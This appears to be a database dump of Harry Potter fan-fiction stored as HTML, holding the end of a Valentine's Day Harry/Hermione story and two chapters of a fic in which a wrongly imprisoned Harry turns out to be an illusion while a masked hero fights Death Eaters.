Hermione.  “Hey,\nwant to go outside for a while?” he asked.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“I’d like that,”\nsaid Hermione with a sweet smile.  The\ntwo proceeded outside hand in hand and made their way to the lake.  A number of other couples were outside\nsnogging in the bushes.  Harry and\nHermione caught sight of the Giant Squid resting its tentacles on the\nbeach.  Hermione finally decided that\nthis was the right time.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Um Harry, I have\nsomething for you,” she said blushing a little.  Harry raised an eyebrow as Hermione pulled out the wrapped\nbox.  Harry took it and opened the\nbox.  Inside was a heart shaped piece\nchocolate that had the following letters written on it in frosting:</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"><i>To Harry James\nPotter</i></p>\n<p class="MsoNormal"><i>Happy\nValentine’s Day</i></p>\n<p class="MsoNormal"><i>From your best\nfriend, Hermione</i></p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione looked at\nher toes fidgeting nervously as Harry read the writing on the chocolate.  “I made it myself,” she mumbled.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry smiled and\nsaid, “I love it.”  Hermione smiled and\ndecided to take a risk.  She leaned\nforward and kissed Harry briefly on the lips. \nHarry seemed a little surprised but certainly didn’t look upset as he\ngrinned.  Hermione smiled as a blush\nsettled in her cheeks.  The two made\ntheir way back to the Gryffindor Comon Room. \nBefore they made their way to their respective ways to their dorm rooms,\nHarry turned to Hermione and said, “Hermione, next Hogsmeade weekend.  You want to go together?  Just the two of us?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione smiled\nand said, “I’d love to, Harry.”  Harry\ngrinned and kissed her briefly once more. \n</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Good night,\nHermione,” he said.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">“Good night,\nHarry.  And Happy Valentine’s Day.”  They both smiled as they walked up the\nstairs to their dormitories.</p>\n<p class="MsoNormal">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n<p class="MsoNormal">A/N Well, did that\nbring a smile to your face?  Did that\ngive you a nice warm fuzzy feeling?  I\nsure hope so.  So anyway, Happy St.\nValentine’s Day, from yours truly.  Hope\nall of you have a great time.  Gee, I\nwish some girl would make me some Valentine’s chocolate.  So R/R and tell me what you think.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">E. C. R. Potter</p>\n<p class="MsoNormal">!!'),
	(234, 1, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter One: What Was, What Is</b> </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It was early morning. The boy- no,\nthe young man had just finished his morning jog, and was currently walking\nthrough the small village, which hadn&#8217;t yet awakened. His wrist watch\nshowed six A.M. He was quite tall, a bit more than six feet perhaps, muscular\nbut yet not too much muscle. You could see he was tough, a man you wouldn&#8217;t\nlike to end up in a fist-fight with. He was good-looking, with short, dark\nbrown hair, not entirely straight, but not curly either, and ice-blue eyes. His\nskin had a slight tan, and his mouth seemed to be constantly curled in a small\nhalf-amused and half-mischievous smile. His ID-card and driver\'s license showed\nthat his name was Christian M. Atos, and that he was eighteen years old, born\nthe sixth of April. If you looked at his academic records, they showed him to\nbe an absolutely brilliant kid. He had graduated from the University of Oxford,\nas Professor with high honors in math and science, even though he was just\neighteen years old. He had started at seventeen, had graduated the year before\nfrom High School with top grades in all subjects. And then he had graduated from Oxford after\nonly a year, something that had his teachers fainting in utter amazement. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He was still unemployed, and he had\nfew chances of getting a job in the small village where he lived, located\nsomewhere in south Scotland. He lived in a small flat on the first floor in the\nhouse of an old lady, who lived at the ground floor. He was almost a celebrity\nin the village. It hardly had any newcomers, and the residents were constantly\nwondering why he was there, and the girls were giggling every time he passed\nany of them. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">But Christian Atos wasn&#8217;t just a\nnormal guy. He was a wizard in fact, and though his ID-card showed age\neighteen, he wasn&#8217;t even that old. He had just turned seventeen. And if you\nwere a witch or a wizard, and asked about his past, he would probably refuse to\ntell you anything. But if you became a friend of his, and he started to trust\nyou, he would maybe tell you. And then you would wish you&#8217;d never asked. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Christian Atos&#8217;s history wasn&#8217;t a\npleasant one. You know everything about He-Who-Must-Not-Be-Named, and the Death\nEaters, his followers of course.&nbsp;\nChristian\'s parents, Michelle and Eric Anderson, were two of them. They\ntutored him at home and taught him everything about the Dark Arts. But\nChristian was a clever boy, with opinions of his own, and he didn&#8217;t want to\nbecome a Death Eater. However, he couldn&#8217;t just tell that to his parents, and\nbeing the brilliant child he was, he thought out a plan. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">On his first mission with the Death\nEaters, at age fifteen, he was supposed to prove for the elders that he was\nworthy of the Dark Mark. However, he had beforehand anonymously warned the\nAurors, and they were there when the Death Eaters arrived in the small French\ntown. Unnoticed by the others, Christian threw off his mask and cloak, and\nstupefied himself with his wand, so it would look like he was a victim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">When he woke up, he was in a\nWizards&#8217; hospital in France. He told them everything, about his parents and the\nDeath Eaters. Then he was told that his parents had been killed during the\nattack by Aurors, so now he had nothing to go back to anyway. That way he\nbecame the orphaned Christian Anderson, thought dead by those he knew.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">And so it happened that he ended up\nin Beauxbatons as Christian Atos. He had been taught by his parents, and had to\ngo through tests to determine which year he should start in, and if he was good\nenough to start in fifth year, as his age suggested he should. However, he\nshowed himself very brilliant, and he ended up being put into seventh year.\nAfter a year he graduated at the top of his class, the youngest student to\ngraduate ever. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">After his graduation he went to\nEngland, made up some fake High School papers and a fake muggle ID-card. He\nentered Oxford, where he studied math and science, and his professors found him\nvery gifted. He graduated after a year, also here with top marks, praised by\nhis teachers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">But why should a wizard care about\nmuggle studies? Well, so would many wizards think, but Christian was brilliant\nbeyond words. He had, with his knowledge in science and magic, managed to\ninvent a kind of shield-charm which could stop the killing curse. But no one\nknew that of course, he kept it secret. No one in England knew him, and if any\nwizard had seen him, he&#8217;d merely assume him to be just a plain muggle. But\nlooks can be deceiving. Oh yes, deceiving indeed. Though he had his papers from\nBeauxbaton and Oxford, Eric and Michelle Anderson never had a son.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Meanwhile, at a stony island near\nthe Orkneys, a thin, scrawny boy sat alone in his cell. He looked to be about\nfifteen years old, but in reality he was seventeen. He had ebony-black hair and\nemerald-green eyes. He wasn&#8217;t insane like the other prisoners, he didn&#8217;t scream\nor yell, neither did he hammer on his door with his fists. He sat calmly,\nwatching the sun play with the dust in his cell. A half-smile played on his\nlips, and he seemed un-bothered by the Dementors. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Christian walked silently up the\nstairs so as not to disturb the old woman. It was a small flat: A bedroom with\na bed, a bookcase and a desk, a kitchen and a bathroom, nothing else. On the\nkitchen table lay a pile of newspapers, most of them The Daily Prophet,\nsomething which made it clear that Christian was a wizard indeed. But the\npapers were centred on one single event. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>THE-BOY-WHO-LIVED A MURDERER!</i> One read. <i>HARRY POTTER KILLED\nHOGWARTS STUDENT! </i>Another headline screamed. One of the papers was tattered\nand seemed to have been read many times. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center"><i>HARRY\nPOTTER SENTENCED TO AZKABAN FOR THE REST OF HIS LIFE!</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&#8216;Fifteen year old Harry Potter, who\nfourteen years ago defeated He-Who-Must-Not-Be-Named got his doom today. He was\nfound guilty of having killed a fellow student, and sentenced to life in\nAzkaban. </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>Two weeks ago, Colin Creevey, a\nfourth year student at Hogwarts was murdered by Harry Potter. Potter was found\nat the site, and every evidence pointed towards him. However, during the whole\ntrial Harry Potter has done nothing other than claim his innocence. We thank\nMerlin that the jury didn&#8217;t believe him, and that they didn&#8217;t let the fact that\nhe was the Boy-Who-Lived let him get off easy. Potter is clearly a psychopath,\nand it is very likely that he, during the Triwizard Tournament also killed\nCedric Diggory, who rumours say had stolen his girlfriend. Potter however\nclaimed that Diggory had been killed by He-Who-Must-Not-Be-Named, who had\nreturned. It is lucky that he at least was discovered and removed before he\ncould do more harm. </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>The Daily Prophet, 19th\nof September, by Rita Skeeter&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Christian emerged from the shower,\nhis hair wet, wearing only pale blue jeans. A sudden wind blew through the open\nwindow, and caught the paper, which blew through the room. Christian picked it\nup. The picture showed a fifteen-year-old, black-haired boy with emerald-green\neyes being led out of a court-room, flanked by Dementors. The boy held his head\nhigh, but his eyes held such a sadness. Christian gritted his teeth, his hand\nclenched around the paper. He curled it into a ball and threw it into the trash\ncan. His blue eyes blazed angrily, but did they, for just a tenth of a second,\nturn an intense, emerald green? </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Smoke. Fire. Running humans. Screams. Aurors and\nDeath Eaters. A village in southern England was attacked by Death Eaters, who\nwere torturing and killing people, both wizards and muggles. The Aurors had\nshown up only minutes ago, but were already on the defensive; the Death Eaters\nwere too many.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A boy, only thirteen years old or\nsomething ran for his life, crying. His father had told him to run, while he\ntried to hold off the Death Eaters. Suddenly, two of them appeared out of the\nheavy smoke that covered the whole area. They saw him, and green light missed\nhim by inches. He turned right and ran in between two houses, ran and ran for\nhis life.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dead end. And no going back. He\nturned and saw the black-cloaked people come towards him, one of average\nheight, the other short and plump. His eyes widened in fear as they approached\nhim, wands raised.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Crucio!&#8221; the short one shouted. The\ncurse sped towards him, and he could do nothing. Couldn&#8217;t dodge, couldn&#8217;t run.\nHe was going to die, he thought, and closed his eyes. He was going to die. They\nwould torture him until he was insane, and then kill him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A flash of gold and red, and a\nfigure stood between the boy and the Death Eaters. The curse hit him in his\nstomach, but he didn&#8217;t fall over and scream, he didn&#8217;t even flinch. The curse\nseemed to be absorbed in a weird way. The two men stared at him. It was a man,\nthat was sure, but they couldn&#8217;t see his face, as it was covered by a golden\nmask. With a flick of his wand the two men lay out cold.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The boy, who had expected the pain\nof the curse to hit him, opened his eyes cautiously, and stared at the man and\nthe two unconscious Death Eaters in awe.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Are you alright?&#8221; the masked man\nasked, his voice hard as steel, but yet it had a strange warmth. He could only\nnod, as the man bent down to examine the bodies. As he removed the mask of the\nshort one he could hear him growl angrily, and in the next moment he was tied\nup, with a small note fastened on his forehead. The same thing happened to the\nother, without the note, before he turned to the boy again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Stay here, don&#8217;t go anywhere before\nit&#8217;s safe. OK?&#8221; The boy nodded mutely again, and the man dashed out on the\nstreet, looking for more Death Eaters, and the boy couldn&#8217;t see him anymore. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">But three minutes later he could\nfeel the ground shake, and lightning leaped from the clear sky. Well, <i>previously\n</i>clear sky. Now, smoke and dust covered the sun and the sky completely. And\nthen, silence. The boy didn&#8217;t dare to go out yet, but after an hour or\nsomething, still in the same place, he could hear someone approaching.\nFearfully he looked around the corner, and to his great relief it was one\nbearing the Auror uniform. He stepped out so the Auror could see him. He jumped\nand pointed his wand towards him before relaxing when he saw it was just a mere\nboy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What are you doing here?&#8221; he asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I fled, and then I came to this\ndead end, and one of the Death Eaters shot a curse at me. But then came this\nman in gold and red and saved me. He tied them up.&#8221; He talked fast and the\nwords were almost stumbling over each other. The Aurors head snapped up as he\nheard &#8216;man in gold and red&#8217;, and followed the boy. He raised an eyebrow as he\nsaw the two; the boy spoke the truth, there was no way he could have done this\nby himself. He noticed the piece of paper on the short one\'s forehead.\nCuriously, he took it down and read it, before turning white of shock. It took\nhim a few minutes to recover, and then he quickly levitated them off the\nground, making them follow him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Come here, boy. We have to find\nyour family,&#8221; he said. The boy followed, his mind on the blazing, intense,\nemerald green eyes he&#8217;d seen. Eyes blazing with power. Emerald green with a\ntinge of&#8230;gold?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center"><i style="mso-bidi-font-style:normal">DEATH EATER ATTACK! TOWN SAVED BY MYSTERIOUS\nMAN!</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">&#8216;Yesterday a town right east of London was attacked by Death Eaters.\nAurors apparated in as soon as they noticed the huge magical activity, but were\noverwhelmed by the Death Eaters, which were twice their number. However, when\neverything seemed to be totally hopeless, a mysterious man, clothed in red and\ngold robes, with a golden mask made an appearance. He single-handedly fought and\ncaught 39 Death Eaters, and saved numerous lives. </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">&#8220;He could really fight! I saw him finish off five of them with a single\nStupefy! He whirled around and knocked the wind out of some of them with his\nfeet!&#8221; says a onlooker. Another one claims to have seen the man in red and gold\nshoot light from his palms. </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">The most curious thing is, however, that suddenly, lightning appeared\nfrom a previously cloud-free sky, and it took out fifteen Death Eaters,\nsomething which ended the fight. The Golden Mask, which he is now called by\nthose he saved, disappeared shortly thereafter.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">The Daily Prophet, 2nd of July, by Marice Newman&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center"><i style="mso-bidi-font-style:normal">PETER PETTIGREW CAPTURED!</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">&#8216;Two days ago, the Golden Mask captured 39 Death Eaters, and among them\nPeter Pettigrew, a man thought dead for sixteen years! </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">Sirius Black, who escaped Azkaban four years ago, and is still on the\nrun, presumably killed him. Now, the Ministry must re-consider Black&#8217;s charges,\n&#8216;cause a year after Black&#8217;s escape some people began to claim his innocence.\nThe Ministry denied this, but could there be something true in it after all?\nThe Ministry has said they will question Pettigrew under truth potion, and they\nare willing to give Black a fair trial if he turns up. This was the information\ngiven to me by a Ministry worker, who wishes to remain anonymous, as the\nMinister himself does not approve of this proposal. However, the same person\ntells me, he cannot stop it, as he has almost no real power left, for reasons\nwe all know about. </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">Another source, Professor Albus Dumbledore, assures me that Black will\nturn up. He himself states that he has believed in his innocence for three\nyears, and that he knows where Black is currently in hiding! The questioning is\ngoing to take place in two days, and the Daily Prophet promises to keep you\nupdated. Soon we will know if Black really sat twelve years in Azkaban,\ncompletely innocent. If so, can we really trust our courts?</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">The Daily Prophet, 3rd of July, by Marice Newman&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius&#8217;s eyes widened as he read the\npaper. He looked up at the old man sitting in front of him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?&#8221; was all he managed to utter,\nand it came as a weak whisper. &#8220;Is this really true?&#8221; He asked the old man, who\nnodded, and had a smile twitching at the corners of his lips. The merry twinkle\nhowever, which once inhabited his eyes, was gone. It left two years ago, when\none of his most promising students was found guilty of murder and sent to\nAzkaban.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It is indeed, Sirius. In two days\nyou will be cleared, and you will be able to live freely again.&#8221; He said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The younger man sighed.&#8220;What does it\nmatter? I have nothing to live for any longer.&#8221; He said bitterly. It was Albus\nDumbledore&#8217;s turn to sigh. They had gone through this so many times, but Sirius\njust refused to accept it. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sirius,&#8221; he began. &#8220;He was found at\nthe site. The jury found him guilty of murder, and he was sent to Azkaban. I\nknow it is a horrible place, but he had to be locked up, and it is the only\nwizard-proof prison Britain has.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But he wasn&#8217;t guilty!&#8221; Sirius said\nforcefully. &#8220;The whole time he kept saying he was innocent, but no one believed\nhim! And I couldn&#8217;t do anything! I should have saved him and taken him away!\nYou honestly can&#8217;t believe he was guilty?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;All evidence pointed towards him,\nSirius.&#8221; Dumbledore argued.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It was never proven! What if, despite\nwhat you believe, Harry really was innocent? Then you put a fifteen year old <i style="mso-bidi-font-style:normal">innocent </i>boy into Azkaban!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sirius, stop it!&#8221; Dumbledore said\nfirmly. &#8220;Harry really did murder the child, nobody else could have done it. And\nif we&#8217;d let him go, he would have joined Voldemort. We couldn&#8217;t let that\nhappen.&#8221; Sirius gave up. He knew that when the Headmaster spoke that way, it\nwas useless to argue with him. But Sirius had long ago sworn to get Harry out\nof Azkaban and get him cleared. Harry had told him he hadn&#8217;t done it, and Harry\nwouldn&#8217;t lie to him, he knew that. Years on the run had taught him to know when\npeople spoke the truth, and when they lied. But he just couldn&#8217;t understand why\nhis former Headmaster refused to believe it; He had always been open to possibilities,\nbut he simply refused to consider that Harry might be innocent. It confused\nSirius beyond words.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Less than two hundred miles away,\nChristian Atos stood with the same paper in his hands, stroking his black owl\nabsentmindedly. A small smile played on his lips.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Finally,&#8221; he muttered to himself.\nThen, something else something caught his attention.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&#8216;Job\nas Defence Against The Dark Arts Teacher at Hogwarts free. If you want to apply\nfor the position, contact Minerva McGonagall, Deputy Headmistress.&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Two days later, in the Ministry&#8217;s\nHeadquarters. A group of people were gathered, among them Arthur Weasley, Remus\nLupin, Minerva McGonagall, Albus Dumbledore, Minister Fudge, and a large black\ndog. They were in a large room with seats along the wall, and in the middle of\nthe room stood two chairs. A short and plump man sat in one of them, which was\ncharmed with an anti-transfiguration spell, as a note, left by the Golden Mask\nhad told them that he was an illegal animagus, a rat to be exact. The other\nchair was empty. When everyone had settled, a man, about forty years old, in\nAuror uniform rose. He turned to Dumbledore.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I thought you said Black would be\nhere,&#8221; he said. But before Dumbledore could answer, a tall, black-haired man\nwith blue eyes had stepped out of the shadows.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I am here,&#8221; Sirius stated calmly.\nThe man&#8217;s jaw dropped, but he closed it quickly again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Um- Very well, Mr. Black. Please\nsit.&#8221; The questioner watched as Sirius seated himself in the chair beside\nPettigrew.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius was questioned first, and\ntold them about Peter being the Potters&#8217; secret keeper, and what had happened\nsince he had escaped. When he was finished, more than one was staring\nopen-mouthed at him. But he had been under Veritaserum, the truth potion, so\nthere was no doubt: Sirius Black had spent twelve years in prison, innocent of\nthe crime he was framed for. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Then it was Pettigrew\'s turn. After\nthe Veritaserum had been forced down his throat, he confirmed Sirius&#8217;s story.\nBut then he said something which was going to shock the wizarding world. He was\nasked about his master&#8217;s further plans.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He&#8217;s going to attack Azkaban, free\nthe prisoners and get the Dementors over to our side. And he&#8217;s going to get\nPotter. His plan worked perfectly, and now he thinks Potter is ready to be\n&#8216;converted&#8217;.&#8221; Pettigrew anwered. At this Sirius jumped. He had been allowed to\nsit among the people along the wall, and now he jumped out of his seat and took\nthree steps forward before he was stopped by two Aurors. He calmed down\nquickly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What plan?&#8221; he asked, with a forced\ncalmness. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;His plan was to get Potter into\nAzkaban. A simple polyjuice potion and a faithful student to kill the kid, and\nthen a mind potion for Potter, to assure that he was found at the murder site.\nIt worked too, though it surprised my master that his friends turned against\nhim so easily. My master thinks that by this time, Potter is either bitter as\nhell, or an insane lunatic. He can be used anyway.&#8221; Pettigrew smirked evilly,\nand hadn&#8217;t the Aurors held Sirius back, he would by then have been glued to the\nfloor, and if looks could kill, Peter would have been dead, rotten, cremated\nand buried six feet under. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The room was silent as a grave. Then\nit erupted in shocked and angry yells, it was a chaos of voices. Only a few remained\ncalm.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Quiet!&#8221; roared Sirius. Everyone\nturned to look at him. &#8220;I think it is time to retrieve my godson from Azkaban,\nand maybe even ask him a few questions under the influence of Veritaserum,&#8221; he\nglared at the Minister who cowered backwards. &#8220;Then there will be no doubt that\nwhat has been revealed here today is true. Any objections?&#8221; He turned to Remus\nand Professors Dumbledore and McGonagall. &#8220;I guess you now can believe in\nHarry&#8217;s innocence.&#8221; He said, bitterly, with a plagued look in his eyes. He knew\nAzkaban, and Harry wasn&#8217;t an animagus like him. He couldn&#8217;t &#8216;escape&#8217; the\nDementors like he&#8217;d done in his dog form. He was right. Harry could do\nsomething better.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Two hours later three Aurors and a\nyoung boy arrived at the Headquarters. He walked between the three Aurors, and\nhis robes were tattered and dirty. He was thin and pale, and greasy black hair\nhung down in his face. He lifted a hand and shuffled it away, and they could\nall see the lightning shaped scar on his forehead. This was Harry Potter, the\nBoy-Who-Lived, after two years in Azkaban. Sirius&#8217;s knuckles whitened, and he\nhad to restrain himself not to go and give his godson a bone-crushing hug. He\nwas so young! He met Sirius&#8217;s gaze and a small smile graced his lips. He was\nled to one of the two chairs, and sat down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Mr. Potter, do you know why you&#8217;re\nhere?&#8221; the questioner asked. Harry shook his head. &#8220;You are here, because today\nwe have got proof of your innocence. We are going to ask you a few questions,\nand then we want you to join the wizarding world again, and start your seventh\nyear at Hogwarts. Do you agree?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why should I? You turned against me\nonce, and you will do it again.&#8221; The boy stated calmly. The Auror sighed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We are sorry for what was done to\nyou, and you will be pardoned. The Ministry will make sure that everyone gets\nto know. Besides, you are still underage, you have no choice.&#8221; He told the boy.\nThe young wizard smiled lightly and stood.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m afraid it&#8217;s impossible.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why?&#8221; the Auror asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Because I&#8217;m not Harry Potter.&#8221; he\nstated calmly. <i style="mso-bidi-font-style:normal">Oh, no! </i>Sirius\nthought. <i style="mso-bidi-font-style:normal">He&#8217;s gone insane!</i> He could\nhave cried. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry smiled at their faces. &#8220;Harry\nPotter never went to Azkaban, he has never been there, and isn&#8217;t planning to go\nthere either.&#8221; He turned and walked right through the chair and back again.\nPeople stared, speechless. He walked up to the questioner, and right through\nhim. Wide-eyed and completely lost, people could do nothing but stare. &#8220;Azkaban\nhas, for two years, housed nothing but a mere illusion of Harry Potter.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">====================</p>\n\n\n\n\n\n\n'),
	(234, 2, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter Two: Under A Blue Moon</b> </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Harry&#8217; totally ignored the people\nin the room, who struggled to take in the quite shocking information.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You see,&#8221; he said, &#8220;Harry Potter is\nmore intelligent than any of you can imagine. To be honest with you, he could\nhave taken his OWLs with above perfect scores after his first year at Hogwarts.\nBut Harry Potter is also a true Seer.&#8221; More shocked silence. &#8216;Harry&#8217; decided to\nwait until someone got his or her voice back. They did, everyone at the same\ntime.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?&#8221; &#8220;Impossible!&#8221; &#8220;Goddess, I\nhave to sit down.&#8221; &#8220;You are sitting already.&#8221; &#8220;Oh, true.&#8221; &#8220;Anyone besides me\nwho has got a headache?&#8221; &#8220;This is too much for me,&#8221; &#8220;This isn&#8217;t 